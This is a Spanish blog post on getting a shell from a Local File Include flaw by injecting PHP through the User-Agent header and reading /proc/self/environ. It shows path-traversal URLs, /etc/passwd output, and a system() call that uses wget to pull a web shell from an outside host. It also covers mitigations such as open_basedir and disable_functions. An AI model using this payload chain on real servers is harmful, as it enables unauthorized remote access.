17 sept. 2009

Cómo conseguir una shell mediante LFI (Local File Include)


Hace poco salió publicado en milw0rm un artículo sobre como conseguir una shell dado que tenemos LFI (local file include) en un servidor, accediendo a /proc/self/environ. Dicho artículo ha tenido una MUY importante repercusión en foros underground.
En este artículo, vamos a echarle un vistazo al método sugerido y también a mencionar sus puntos débiles, que son bastantes.

Lo primero que necesitamos es un servidor en el que exista un LFI. Esto se consigue muy fácil echando un ojo a milw0rm todos los días y esperando, o bien con google dorks, ... Entonces, supongamos que lo hemos conseguido y que podemos acceder a esta web

www.vulnerable.com/view.php?page=../../../../etc/passwd

y nos da realmente el archivo /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Esta primera suposición ya es mucho suponer. Normalmente, sería suficiente con usar open_basedir para limitar notablemente la posibilidad de acceder fuera del directorio donde tenemos instalada la aplicación php. Si los permisos están bien puestos y se limita el acceso del php, esto no debería ser posible casi nunca.

Suponiendo que sea posible acceder al sistema de archivos del servidor web, podríamos acceder a esto /proc/self/environ:

www.vulnerable.com/view.php?page=../../../../../proc/self/environ


En este caso, entre todas las variables de entorno que tenemos, nos vamos a fijar en el HTTP_USER_AGENT, aunque lo mismo valdría para otras variables que podamos modificar al vuelo. Tenemos:

HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00

Y, como sabemos, el user-agent se puede modificar facilmente, por ejemplo con burpproxy, y le podemos pasar un comando al sistema, por ejemplo (faltan los símbolos menor y mayor):

system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');

Con lo cual, esto será ejecutado en local ... mmm ... suponiendo que el comando no haya sido deshabilitado, que sería lo recomendable. Y este es el segundo problema que tiene el ataque, y bastante serio. Deshabilitar esto se haría poniendo en el php.ini algo como:

disable_functions = system, exec, ...

Que no debería suponer ningún inconveniente. Pese a esto, muchos servidores no limitan este tipo de llamadas al sistema a través de php. Mal, muy mal ...

En caso de que funcione y realmente podamos bajar una shell al servidor (por cierto, seguramente deberíamos guardar la shell en otro directorio, por ejemplo el de archivos temporales del php), podemos proceder a llamar a la shell así:

www.vulnerable.com/shell.php

Y, a partir de aquí, lo de siempre.

CONCLUSIONES.

Como hemos visto, se trata de un método bastante sencillo para aprovechar un LFI y conseguir una shell en el servidor. Sin embargo, también es claro que una configuración securizada del php hace totalmente inservible este método. Una vez más, no podemos dejar de insistir en la importancia de securizar la configuración de todos nuestros servidores ...

REFERENCIAS: enye-sec.org

Fuente: http://hacking-avanzado.blogspot.com/

Author & Editor

Ingeniero Civil en Computación (Universidad de Chile FCFM) y Diplomado en Gestión y Evaluación de Proyectos TI (Universidad de Chile FEN). Actualmente trabajo como Project Manager en varios proyectos y como asesor tecnológico para empresas.

0 Notaciones:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.

Labels

0-day (12) 1337day (1) 8.8 (2) Adobe Acrobat (1) Android (2) Anonimato (1) Anonymous (9) BackDoor (2) BackTrack (15) badUSB (1) Base64 (1) Black Hat (7) BlackHat (1) Blackploit (25) Brute Force (3) Bug (106) Bypass Password (1) Bypass Redirect (1) C99 Shell (1) Carding (1) CheatSheet (15) Chilean Way (1) Conference (10) Cryptsetup (1) CSRF (1) DDoS (11) DEF CON (3) DEFCON (7) Diapositivas (1) Diseño Web (1) Distro Linux (27) Documental (2) DoS (2) Drupal (1) DuckDuckGo (1) E-zine (18) Ekoparty (1) Escaneo (4) España (1) Exploit (64) Ezine (1) Facebook (1) Fast-Info (44) FBI (1) Ficheros Binarios (1) Firefox (4) Flash (2) Forense (9) Fuerza Bruta (11) Fuga de Datos (1) GhostShell (1) GNU/Linux (4) Google (2) Guía (1) Hack T00LZ (130) Hack Tips (63) Hacked (6) Hacking (18) Hacking Hardware (5) HashCat (1) Herramientas (121) HighSecCON (1) Humor Geek (13) Infografía (1) Ingeniería Social (5) Inj3ct0r (1) Internet Explorer (3) Java (7) JavaScript (2) Kali (3) KitPloit (1) Leaks (21) Linux OS (79) LulzSec (1) Mac OS (10) Magazine (1) Malaware (3) Malaware Tools (12) Malware (1) Man in the Middle (15) Manuales (3) MD5 CRACK (4) Metasploit (57) MSSQL (1) MySQL (6) MySQL CRACK (1) Nmap (6) Nmap NSE (2) Noticias (193) NTLM CRACK (1) Ofuscar (5) OpenSolaris OS (1) OpenSSL (1) ORACLE (1) OWASP (3) Paper (10) PDF (7) PenTest (14) Perl (2) Phearking (13) Phishing (3) PHP (13) phpMyAdmin (1) PoC (1) Premios Bitacoras (1) Presentaciones (11) PRISM (1) Privacidad (2) Programación (12) Programas Linux (41) Programas Windows (41) Pwned (1) Python (5) Reconocimiento (5) Ruby (2) s (1) Scripts (7) Seguridad (145) Seguridad Web (140) Seguridad Wireless (19) Sensitive Data Exposure (2) SHA1 CRACK (1) Shellshock (1) Slides (1) Spoofing (1) Spyware (1) SQLi (19) SQLi Tools (7) SQLMap (2) SSH (1) Textos (74) Tips (57) Troyanos y Virus (11) Trucos (7) Trucos Win (7) Turiales (56) Tutoriales (18) Twitter (1) Ubuntu (2) Underc0de (1) UnderDOCS (1) Unlock (1) URL Redirection (1) UXSS (1) vBulletin (1) Video (48) Virtualización (2) Web T00LZ (17) Wifislax (1) Wikileaks (1) WikiRebels (1) Windows OS (66) Wireless Tools (13) XSS (16) Youtube (1)

 
biz.